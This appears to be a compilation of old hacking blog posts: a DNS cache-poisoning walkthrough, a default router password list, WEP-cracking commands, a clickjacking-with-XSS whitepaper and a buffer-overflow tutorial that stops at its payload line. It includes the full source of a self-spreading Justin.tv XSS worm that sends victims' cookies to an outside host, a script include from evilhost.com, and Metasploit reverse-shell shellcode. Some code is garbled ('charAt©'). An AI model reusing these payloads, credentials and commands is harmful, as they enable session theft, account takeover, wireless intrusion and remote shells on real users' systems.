    *

      Additional RR’s, sometimes called “glue”, which contain any
additional information needed to make the response effective.

A word about the Additional RR’s. Think about an NS record, like
the one that COM’s name server uses to tell us that, to find out
where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s
good to know, but it’s not going to help you unless you know where
to find NS1.VICTIM.COM. Names are not addresses. This is a chicken
and egg problem. The answer is, you provide both the NS record
pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing
NS1.VICTIM.COM to 1.2.3.1.

Now, let’s party like it’s 1995.

Download the source code for a DNS implementation and hack it up
such that every time it sends out a response, it also sends out a
little bit of evil — an extra Additional RR with bad information.
Then let’s set up an evil server with it, and register it as
EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to
names hosted at that server.

Bob innocently loads up a page with the malicious tags which
coerces his browser resolve that name. Bob asks Alice to resolve
that name. Here comes recursion: eventually the query arrives at
our evil server. Which sends back a response with an unexpected
(evil) Additional RR.

If Alice’s cache honors the unexpected record, it’s 1995 —- buy
CSCO! —- and you just poisoned their cache. Worse, it will replace
the “real” data already in the cache with the fake data. You asked
where WWW.EVIL.COM was (or rather, the image tags did). But Alice
also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver
that points to that name server will now gladly forward you to the
website of the beast.
4.

It’s not 1995. It’s 2008. There are fixes for the attacks I have
described.
Fix 1:

The QID race is fixed with random IDs, and by using a strong random
number generator and being careful with the state you keep for
queries. 16 bit query IDs are still too short, which fills us with
dread. There are hacks to get around this. For instance, DJBDNS
randomizes the source port on requests as well, and thus won’t
honor responses unless they come from someone who guesses the ~16
bit source port. This brings us close to 32 bits, which is much
harder to guess.
Fix 2:

The RR set poisoning attack is fixed by bailiwick checking, which
is a quirky way of saying that resolvers simply remember that if
they’re asking where WWW.VICTIM.COM is, they’re not interested in
caching a new address for WWW.GOOGLE.COM in the same transaction.

Remember how these fixes work. They’re very important.

And so we arrive at the present day.
5.

Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.

This time though, instead of getting Bob to look up WWW.VICTIM.COM
and then beating Alice in the race, or getting Bob to look up
WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re
going to be clever (sneaky).

Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is
NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory
has an answer. We’ll come back to it. Alice has an advantage in the
race, and so she likely beats Mallory. NXDOMAIN for
AAAAA.VICTIM.COM.

Alice’s advantage is not insurmountable. Mallory repeats with
AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime,
perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes
CXOPQ.VICTIM.COM is 6.6.6.0!

Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But
Mallory has another trick up her sleeve. Because her response
didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained
Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records
are in-bailiwick: Bob is in fact interested in VICTIM.COM for this
query. Mallory has combined attack #1 with attack #2, defeating fix
#1 and fix #2. Mallory can conduct this attack in less than 10
seconds on a fast Internet link.

Default usernames and password

2012-10-30T00:30:00.000-07:00

Default usernames and passwords for

Routers/Switches/Hubs

   Type/vendor/notes/etc                     Username Password

   3Com                                      admin    synnet
   3Com                                      read     synnet
   3Com                                      write    synnet
   3Com                                      monitor monitor
   3Com                                      manager manager
   3Com                                      security security
   3Com_Office_Connect_5x0_ISDN_Routers      n/a      PASSWORD
   3comCellPlex7000                          tech     tech
   3comCoreBuilder7000/6000/3500/2500        debug    synnet
   3comCoreBuilder7000/6000/3500/2500        tech     tech
   3comHiPerARCv4.1.x                        adm      <blank>
   3ComLANplex2500                           debug    synnet
   3ComLANplex2500                           tech     tech
   3comLinkSwitch2000/2700                   tech     tech
   3comSuperStackIISwitch                    2200     debug
   3comSuperStackIISwitch                    2700     tech
   ACC(Ericsson)                             netman   netman
   ADC_Kentrox_Pacesetter_Router             n/a      secret
   All_Zyxel_equipment                       n/a      1234
   AT&T_3B2_firmware                         n/a      mcp
   AXIS200/240[netcam]                       root     pass
   Bay_routers                               Manager <blank>
   Bay_routers                               User     <blank>
   Bay350T_Switch                            n/a      NetICs
   BaySuperstackII                           security security
   BRASX/I01_(DataCom)                       n/a      letmein
   BreezeCOM_adapters2.x(console_only)       n/a      laflaf
   BreezeCOM_adapters3.x(console_only)       n/a      Master
   BreezeCOM_adapters4.x(console_only)       n/a      Super
   Cayman_DSL                                n/a      <blank>
   Crystalview_outsideview32                 n/a      crystal
   digiCorp_(viper?)                         n/a      BRIDGE
   digiCorp_(viper?)                         n/a      password
   DLink_hub/switches                        D-Link   D-Link
   Flowpoint_DSL_installed_by_Covad          n/a      password
   Flowpoint_DSL2000                         admin    admin
   Jetform_design                            Jetform n/a
   Lantronics_Terminal_server_port           7000     n/a
   Lantronics_Terminal_server_port           7000     n/a
   Linksys_DSL                               n/a      admin
   Livingston_IRX_router                     !root    <blank>
   Livingston_officerouter                   !root    <blank>
   Livingston_portmaster2/3                  !root    <blank>
   Microplex_print_server                    root     root
   Motorola-Cablerouter                      cablecom router
   Netopia_7100                              <blank> <blank>
   Netopia_9500                              netopia netopia
   Orbitor_console                           n/a      password
   Orbitor_console                           n/a      BRIDGE
   Osicom(Datacom)                           sysadm   sysadm
   Shiva                                     root     <blank>
   Shiva                                     Guest    <blank>
   SpeedstreamDSL(Efficient)                 n/a      admin
   UClinux_for_UCsimm                        root     uClinux
   Webramp                                   wradmin trancell
   Alteon ACEswitch 180e (web)               admin    admin
   Alteon ACEswitch 180e (telnet)            admin    <blank>
   NETPrint (all)                            n/a      sysadm
   Xylan Omniswitch                          admin    switch
   Xylan Omniswitch                          diag     switch
   AcceleratedDSL CPE and DSLAM              sysadm   anicust
   Arrowpoint                                admin    system
   Cabletron (routers & switches)            <blank> <blank>

   Needed

   Packeteer
   Cabletron
   SMC
   Accton

XSS worms

2012-10-11T06:47:00.001-07:00

XSS worms

XSS worms are pretty neat, interactive worms that propagate by using a client's browser to progressively infect other profiles in some way. I wrote my own worm a while back, and I wanted to talk about how it worked, how it was affective, and what challenges I faced.

The worm I created was in Justin.Tv. The best thing about XSS worms is that they're as unique as the XSS. Tons of different things may occur, and it's up to many different variables that the worm is successful.

The XSS in justin.tv was found by x2Fusion. x2Fusion and I worked on the worm right when we came up with the idea of making one.

The XSS was in the Location field. So, people viewing another user's profile would run whatever we put there, as it was not sanitized. But there was one more challenge: the location was placed in the title sanitized. We had to find a way to not only hide the worm in the title, but we also had to impliment some javascript that automatically changed the title as soon as it loaded.

Once we started on the worm, we made the .js file on an external website, and before script inclusion we put several HTML comment tags to hide it in the title. In the location javascript, we edited the location javascript (local) to dynamically remove the title, keeping it stealthy (as possible) to avoid other issues. The local javascript also made a hidden, blank iFrame that we could reference in the remove javascript.

To start off, the remote javascript would force the iframe to our website and provide, dynamically, the client's cookies and profile location. We would use this to track what profiles were infected by who, and when, and all of the client details at the time.

We would create the payload inside the remote javascript that we can use to inject with the viewing user's profile. The "payload" data is pretty much our local javascript. We also added a ^ (rare location element, if you ask me) character after the user's location, which our local javascript will use to manage the dynamic script.

What we didn't think about, well... we were in a hurry so it's not our fault, ^ would remain on the titles. People would definately notice, but it wasn't patched until about 24 hours after.

We printed a new iFrame (hidden), and used it to read out the details in convinient little sub-frame form elements. We took the elements and processed them, only changing the Location field if it wasn't already infected, and then sending the request (if it wasn't already infected).

This was more complicated as it seemed... we had to fight between IE and Firefox (Safari follows Firefox for the most part) compatibility. After doing that, we realized... if the infected person was... well an actual broadcaster, the default page wasn't what we were looking for. Thus, we needed to dynamically read whether certain elements were given on the page, and also go to the correctly named page.

We had another request upon new infections that saved user details.

Once the request was sent, by then it is assumed the profile was infected and we have it recorded on our side. In-fact, quickly after we released it, I made a quick little PHP script that waited for more accounts to be infected (and their userdetails), and printed out a highlighted table element had it fade out after 5 seconds. After about 1500 profiles, I sat there watching 4 to 10 be infected a second, and it was funny to watch them be infected life.

Actually, check it out:

function URLEncode (clearString)
    {
    var output = '';
    var x = 0;
    clearString = clearString.toString();
    var regex = /(^[a-zA-Z0-9_.]*)/;

    while (x < clearString.length)
        {
        var match = regex.exec(clearString.substr(x));

        if (match != null && match.length > 1 && match[1] != '')
            {
            output += match[1];
            x += match[1].length;
            }

        else
            {
            if (clearString[x] == ' ')
                output += '+';

            else
                {
                var charCode = clearString.charCodeAt(x);
                var hexVal = charCode.toString(16);
                output += '%' + (hexVal.length < 2 ? '0' : '') + hexVal.toUpperCase();
                }
            x++;
            }
        }
    return output;
    }

function save_settings(action, enctype, method, query)
    {
    var xmlHttp;

    try
        {
        xmlHttp = new XMLHttpRequest();
        }
    catch (e)
        {
        try
            {
            xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            }
        catch (e)
            {
            try
                {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                }
            catch (e)
                {
                return false;
                }
            }
        }
    xmlHttp.open(method, action, true);
    xmlHttp.setRequestHeader('Content-Type', enctype);
    xmlHttp.send(query);
    return false;
    }
document.title = document.title.split('^')[0] + " - Justin.tv";
var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split("");
var base64inv = {
};

for (var i = 0; i < base64chars.length; i++)
    {
    base64inv[base64chars[i]] = i;
    }

function b64_d (s)
    {
    s = s.replace(new RegExp('[^' + base64chars.join("") + '=]', 'g'), "");
    var p = (s.charAt(s.length - 1) == '=' ? (s.charAt(s.length - 2) == '=' ? 'AA' : 'A') : "");
    var r = "";
    s = s.substr(0, s.length - p.length) + p;

    for (var c = 0; c < s.length; c += 4)
        {
        var n = (base64inv[s.charAt©] << 18) + (base64inv[s.charAt(c + 1)] << 12) + (base64inv[s.charAt(c + 2)] << 6)
            + base64inv[s.charAt(c + 3)];
        r += String.fromCharCode((n >>> 16) & 255, (n >>> 8) & 255, n & 255);
        }
    return r.substring(0, r.length - p.length);
    }

function b64_e(s)
    {
    var r = "";
    var p = "";
    var c = s.length % 3;

    if (c > 0)
        {
        for (;c < 3; c++)
            {
            p += '=';
            s += "\0";
            }
        }

    for (c = 0; c < s.length; c += 3)
        {
        if (c > 0 && (c / 3 * 4) % 76 == 0)
            {
            r += "\r\n";
            }
        var n = (s.charCodeAt© << 16) + (s.charCodeAt(c + 1) << 8) + s.charCodeAt(c + 2);
        n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];
        r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]
];
        }
    return r.substring(0, r.length - p.length) + p;
    }
document.getElementById('tframeid').src = "http://thedefaced.org/jtv/jtv_test.php?act=mesh&cookie="
    + b64_e(document.cookie) + "&location=" + b64_e(String(window.location));
document.write("");
payload = b64_d(
    "XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZXh0ZXJuYWwgZmxvYXRpbmcgcm9
vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzICh2YWN1dW0gYnJlYWtlciB2ZW50cyk
g
YW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm9qZWN0aW9uIGJlbG93IHRoZSBsaXF1
a
WQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXIsIHNlYWwsIG9yIGxpZCwgd2hpY2ggb
X
VzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBnYXApIHBvc2l0aW9uIGF0IGFsbCB0aW
1
lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhbCB1c2UuLS0+IDxpZnJhbWUgaWQ9J3R
m
cmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+PHNjcmlwdCBzcmM9
I
mh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGhwP2FjdD1qcyIgbGFuZ3VhZ2U9Imphd
m
FzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGluIGFuIGludGVybmFsIG9yIGV4dGVybm
F
sIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgYmxlZWRlciB2ZW50cyAodmFjdXVtIGJ
y
ZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdCBwcm92aWRlIGEgcHJvamVjdGlvbiBi
Z
WxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQgd2l0aCBhIGNvdmVyLCBzZWFsLCBvc
i
BsaWQsIHdoaWNoIG11c
3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2FwKSBwb3NpdGlvbiBhdCBhbGwgdGltZ
XMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWwgdXNlLi0tPg==");
document.getElementById('tframeset').onload = function ()
    {
    if (frames['tframeset'].document.getElementById('user_location').value.indexOf(
        'All openings in an internal or external floating roof')
        == -1)
        {
        query = "section=profile&session_user=";
        query += frames['tframeset'].document.getElementById('session_user').value;
        query += "&subsection=profile_info";
        query += "&commit=Save%20Changes";

        if (frames['tframeset'].document.getElementById('user_hide_im_watching').value != 1)
            {
            query += "&user[hide_profile_actions]=0";
            }

        else
            {
            query += "&user[hide_profile_actions]=1";
            };

        if (frames['tframeset'].document.getElementById('user_hide_profile_actions').value != 1)
            {
            query += "&user[hide_profile_actions]=0";
            }

        else
            {
            query += "&user[hide_profile_actions]=1";
            };
        query += "&user[profile_about]="
            + URLEncode(frames['tframeset'].document.getElementById('user_profile_about').value);
        query += "&user[favorite_quotes]="
            + URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').value);
        query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value);
        query += "&user[location]="
            + URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload);
        query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value;
        query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value);
        save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query);
        }
    document.getElementById('tframeset').onload = function ()
        {
        };

    document.getElementById('tframeset').onreadystatechange = function ()
        {
        };
    };

document.getElementById('tframeset').onreadyst

10 Easy Steps to Crack a Wireless WEP

2012-10-01T05:09:00.001-07:00

10 Easy Steps to Crack a Wireless WEP Key 128 bit using Ubuntu 7.10

using Aircrack-ng Tools

This is my First Tutorial

1)sudo airmon-ng start wifi0 (start ur wifi card to monitor mode)

2)sudo wlanconfig ath0 destroy

3)sudo ifconfig ath1 up (makes ur ath1 interface up)

4)sudo iwconfig ath1 mode monitor channel 11 (makes ath1 to set in monitor mode in channel 11)

5)sudo aireplay-ng -1 0 -e linksys -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 ( Sending Authentication Request)

6)sudo aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 (fragmentation attack)

7)packetforge-ng -0 -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 -k 255.255.255.255 -l 255.255.255.255 -y ur xor file.xor -w arp-request (generate an arp packet)

8)sudo airodump-ng -c 11 -bssid 00:11:22:33:44:55 -w capture ath1 (monitors the AP)

9)sudo aireplay-ng -2 -r arp-request ath1 (sending the Arp-request with use interactive frame selection)

10)sudo aircrack-ng -z *.cap (capture*.cap selects all dump files starting with "capture" and ending in "cap") "-z ptw attack

and below is the link for the video

http://in.youtube.com/watch?v=Vvok-PBSpFY

ClickJacking

2012-10-01T05:07:00.004-07:00

ClickJacking

-[ INFOS ]-----------------------------------------------------------------------
Title: "The Clickjacking meets XSS: a state of art"

---------------------------------------------------------------------------------

-[ SUMMARY ]---------------------------------------------------------------------
    0x01: Introduction
    0x02: What is the Problem
    0x03: JavaScript always loves us
        \_ 0x03a: Cursor tracking
        \_ 0x03b: Graphic overlaying
    0x04: XSS done!
    0x05: Conclusions
---------------------------------------------------------------------------------

---[ 0x01: Intruduction ]
The clickjacking attacks come from a recent discovery of the two well-known
researchers Jeremiah Grossman (from WhiteHat Security) and Robert "RSnake" Hansen
(from Ha.ckers.org): it's a quite simple but effective attack that has already
been expressed in its potentialities in several articles such as:
http://ha.ckers.org/blog/20081007/clickjacking-details/
http://jeremiahgrossman.blogspot.com/2008/10/clickjacking-web-pages-can-see-and-hear.html

You can take a look to the BlackHat Webcast made by Jeremiah Grossman disclosing
more details on Clickjacking and on HTML and JavaScript designing issues at this
address: http://www.blackhat.com/html/webinars/clickjacking.html

What we'll quickly analyze in this short whitepaper is how to match two different
attacks as XSS and Clickjacking to make their combination even more effective.
-------------------------------------------------------------------------------[/]

---[ 0x02: What is the Problem ]
One of the most common problem during the deploying of client-side attacks (such
as CSRFs), is the spreading of the page with the attacking vectors specifically
built for some purpose.

It's in some way problematic to trick your victim to visit an unknown page where
he should fall to the attack, and it's as much problematic to find the right place
to host that page on the net.

What about injecting your clickjacking vectors in a vulnerable webpage trusted by
the victim himself? This would make the attack less suspicious and probably a way
more easy to accomplish since the user will be completely comforted by the
genuineness of the website he is visiting.
-------------------------------------------------------------------------------[/]

---[ 0x03: JavaScript always loves us ]
Of course we're going to use some JavaScript codes to accomplish our attack
attempts, specifically we're going to try two different methods:
- 0x03a = making a cursor following IFRAME on which the user will be forced to
    click;
- 0x03b = create some specific HTML code to be overlayed on some other inside the
    page.

Have fun :-)
-------------------------------------------------------------------------------[/]

------[ 0x03a: Cursor tracking ]
The first Clickjacking attack we are going to prepare will be named "Cursor
tracking": we'll use JavaScript to make a "moving" trap IFRAME.

Let's start from preparing the code which will deploy the Clickjacking attack:
what we want to do is to get the user clicking on a specific button or link which
will force him to make some action to the website we will load in a crafted
invisible IFRAME.

First let's prepare the IFRAME code in which we'll load the button to be clicked:

    <iframe id="victim" src="http://target.com/page.php" scrolling="no"
    style="opacity: 0;position: absolute;left: 10;bottom: 10;"
    width="500px;"></iframe>

In this simple IFRAME declaration we just have to be sure to turn off the
"scrolling" function and to set the "opacity" property to 0 in order to make the
page invisible to the victim. The position of the page inside the IFRAME depends
on where the user should click, you would probably want to fix it using:

    margin-top: X;
    margin-left: X;

Using negative values you'll get the page more and more centered into the IFRAME.

The next step is to prepare a JavaScript function that will make the IFRAME follow
the users cursor on the webpage we'll inject the code into, and we can achieve
this using the Event Handlers as following.

    function getPosition(e) {
        e = e || window.event;
        var cursor = {x:0, y:0};
            if (e.pageX || e.pageY) {
            cursor.x = e.pageX;
            cursor.y = e.pageY;
        } else {
            var de = document.documentElement;
            var b = document.body;
            cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
            (de.clientLeft || 0);
            cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -     /
            (de.clientTop || 0);
        }

        return cursor;
    }

This function retrieve the X and Y coordinates of the user's cursor in the webpage
everytime it gets called.

    function clickjacking(e) {
        var loadFrame = document.getElementById("victim");
        var curPos = getPosition(e);
        loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/
        + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
    }

Again, this one loads the IFRAME, calls the previous "getPosition" function and
changes the style attributes of the loaded IFRAME with the new coordinates
retrieved from the cursor tracking function.

    window.captureEvents(Event.MOUSEMOVE);
    window.onmousemove=clickjacking;

This will call the MOUSEMOVE Event handler and make the "clickjacking" function be
called at each user's cursor movement inside the webpage. As we are now the
JavaScript codes we created make the IFRAME follows the victim's cursor inside a
webpage and force him to click on a specific button contained in that IFRAME at
each click he apparently make on a safe and genuine page.

Now let's make our JavaScript print out the IFRAME inside the HTML code with
document.write:

document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\"
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"
width=\"500px;\"></iframe>");

In this way the IFRAME code will be printed inside the vulnerable web page we're
going to disfrut as soon as our XSS attack vector is included.

Our JavaScript code will finally look as following:


function getPosition(e) {
    e = e || window.event;
    var cursor = {x:0, y:0};

    if (e.pageX || e.pageY) {
        cursor.x = e.pageX;
        cursor.y = e.pageY;
    } else {
        var de = document.documentElement;
        var b = document.body;
        cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
        (de.clientLeft || 0);
        cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -    /
        (de.clientTop || 0);
    }

    return cursor;
}

function clickjacking(e) {
    var loadFrame = document.getElementById("victim");
    var curPos = getPosition(e);
    loadFrame.setAttribute('style','opacity:0;position:absolute;top:' + /
    (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}

window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;

document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\" /
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\" /
width=\"500px;\"></iframe>");

-------------------------------------------------------------------------------[/]

------[ 0x03b: Graphic overlaying ]
Another way is to create some HTML code to be injected in the webpage which
graphic components will be overlayed by new fake ones that will invite the user to
click.

For example let's assume that our victim is visiting a website in which there is a
code that permits him to remove his buddies:

    <form method="POST" name="friends" action="remove.php">
        <div>George Lucas</div>
        <input type="hidden" name="friendid" value="123456" />
        <input type="submit" value="Remove from friends" />
    </form>

We want to force the user to remove "George Lucas" from his friends without his
acknowledgement, we can eventually craft some JavaScript code as following:


function bonus() {
    document.friends.submit();
}
document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input /
type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" /
/></div>");


This will create a button to be overlayed at X and Y coordinates, exactly
overlaying the "Remove from friends" button making it invisible to the user. When
clicking our button he will instead submit the FORM which will remove the poor
"George Lucas" from his buddy list.

This is just an example of how can be used the overlaying technique, another one
could be to replace the original login form with a new one specifically crafted
and positioned inside the page with the TOP and LEFT style attributes.
-------------------------------------------------------------------------------[/]

---[ 0x04: XSS done! ]
Assuming that a common webpage our victim is used to visit (like a ebanking page
or a blog or whatever) is vulnerable to Cross Site Scripting (a way better if
Permanent), we can inject our JavaScript code previously forged in order to deploy
our XSS-Clickjacking attack in which the victim will almost certainly fall into.

<script src=http://evilhost.com/clickjacking.js></script>

This is the XSS vector we should use to make our JavaScript code to be executed on
the victim's browser: the injecting can be done, as we've already seen
(http://www.playhack.net/papers/18), through a URL's GET parameter or a user form
input not sanitized.

Obviously a Non-Permanent XSS vulnerability would require some previous spreading,
in order to get the victim noticed of the crafted malicious link on which he
should get.
-------------------------------------------------------------------------------[/]

---[ 0x05: Conclusions ]
The clickjacking is a very cute attacking technique that gets even better when
matched with a Permanent or Non-Permanent Cross Site Scripting vulnerability.

The funny and interesting thing of this attack is that leaves a lot of space to
the attacker creativity and inventiveness, letting him express the best idea of
the sublime art of tricking web users.

There are tons of possibilities and i invite you to mail me whenever you create a
new and smart one you'd like to share ;-)

-------------------------------------------------------------------------------[/]

Buffer Overflow Tutorial

2012-08-15T04:56:00.005-07:00

-- Buffer Overflow Tutorial --

Hi we are going to do a basic stack overflow on a vulnerable program
to get a reverse shell

I apoligise for my english..it's not my native language

Our vulnerable program:

-- vuln-prog.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string) {

char buffer[1024];

strcpy(buffer, string);

return 1;
}

int main(int argc, char *argv[]) {

bof(argv[1]);
printf("Done..\n");

return 1;
}

-- vuln-prog.c

this program takes a user supplied string and copies it into 'buffer' which can hold 1024
bytes of data. if a user sends 1040 bytes which is more then 1024 bytes.. it would
cause the buffer to be overflowwed and it would overwrite parts of memory..

lets compile our vulnerable program:

gcc vuln-prog.c -o vuln-prog

We need to disable the linux VA patch to successfully exploit
this basic overflow..

bash-3.00# cat /proc/sys/kernel/randomize_va_space
1
bash-3.00# echo 0 > /proc/sys/kernel/randomize_va_space
bash-3.00#
bash-3.00# cat /proc/sys/kernel/randomize_va_space
0
bash-3.00#

We use a debugger called GDB to debug the program to see what happens if we
send more then 1024 bytes..

bash-3.00# gdb ./vuln-prog
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb)

we will use perl to supply a buffer which is larger then 1024 bytes and
enough to overwrite parts of memory.

(gdb) run `perl -e 'print "A"x1040'`
Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

as you can see we supplied a string which holds 1040 x A

A is 0x41 in it's hexadecimal format..

now lets see what parts of our memory are overwritten..

(gdb) i r
eax 0x1 1
ecx 0xfffff9e6 -1562
edx 0xbffff8aa -1073743702
ebx 0xb7fcc000 -1208172544
esp 0xbffff290 0xbffff290
ebp 0x41414141 0x41414141
esi 0xb7fce17c -1208163972
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

this is a important part to look at:

eip 0x41414141 0x41414141

eip is the Extended Instruction Pointer, eip contains the address
to the next instruction.. so basicly it points to the address where
the next piece of code will get executed..

so overwriting eip with an address which contains our own code
would allow us to control the flow of the program..

we have overwritten eip with 41414141 which is AAAA
but 41414141 does not contain any code and is a invalid
part of memory to point to..

so we have to point it to our piece of code..

to execute our own piece of code we will use something called: SHELLCODE

Shellcode also knows as Bytecode which contains a set of cpu instructons

We will not discuss the process of making your own shellcode
so we will use metasploit to generate our shellcode..

first of all we want to listen with netcat and wait for a shell to arrive

so lets listen with netcat:

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...

netcat is listening on port 9999

now lets get our ip address..

bash-3.00# ifconfig |grep inet
inet addr:10.0.0.153 Bcast:10.0.0.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0

our ip address is 10.0.0.153

now lets check if netcat is indeed listening..

bash-3.00# netstat -an |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN

as you can see netcat is listening on port 9999

Lets browse to:

http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse

to generate our shellcode..

Fill in the form:

LHOST Required ADDR = 10.0.0.153
LPORT Required PORT = 9999

and click Generate Payload..

which generates us the following:

/* linux_ia32_reverse - LHOST=10.0.0.153 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */

"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c"
"\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d"
"\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6"
"\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e"
"\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16";

as you can see our shellcode is 96 bytes large.

lets strip it off

\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16

this piece of shellcode will connect back to 10.0.0.153 on port 9999 where netcat is listening... and provide a shell

now to find our shellcode in memory would be a pain in the ass and it wouln't we flexible
so we need to use the NOP method.

a NOP is a instruction which does nothing (No Operation - 0x90)

so we place a set of NOP instructions (nopsled) before our shellcode
and point eip to somewhere in our NOPSLED , our payload should look
something like this

[garbage data - A's (0x41)] - [nopsled] - [shellcode] - [eip]

Now we need to calculate howmuch we exactly need to send:

we used 1040 bytes to overflow eip with 0x41414141

eip is 4 bytes so:

1040 - 4 = 1036

then we need 96 bytes for our shellcode

1036 - 96 = 940

and we can use 940 bytes for our garbage data and our nopsled.

ill use 340 bytes for our nopsled..

so thats 340 x 0x90

940 - 340 = 600

and there are 600 bytes left to use for garbage data

thats 600 x A (0x41)

our payload should look like this:

600 x A(0x41) + 340 x NOP(0x90) + 96 bytes of shellcode + 4 bytes of EIP = 1040 bytes

PAYLOAD:

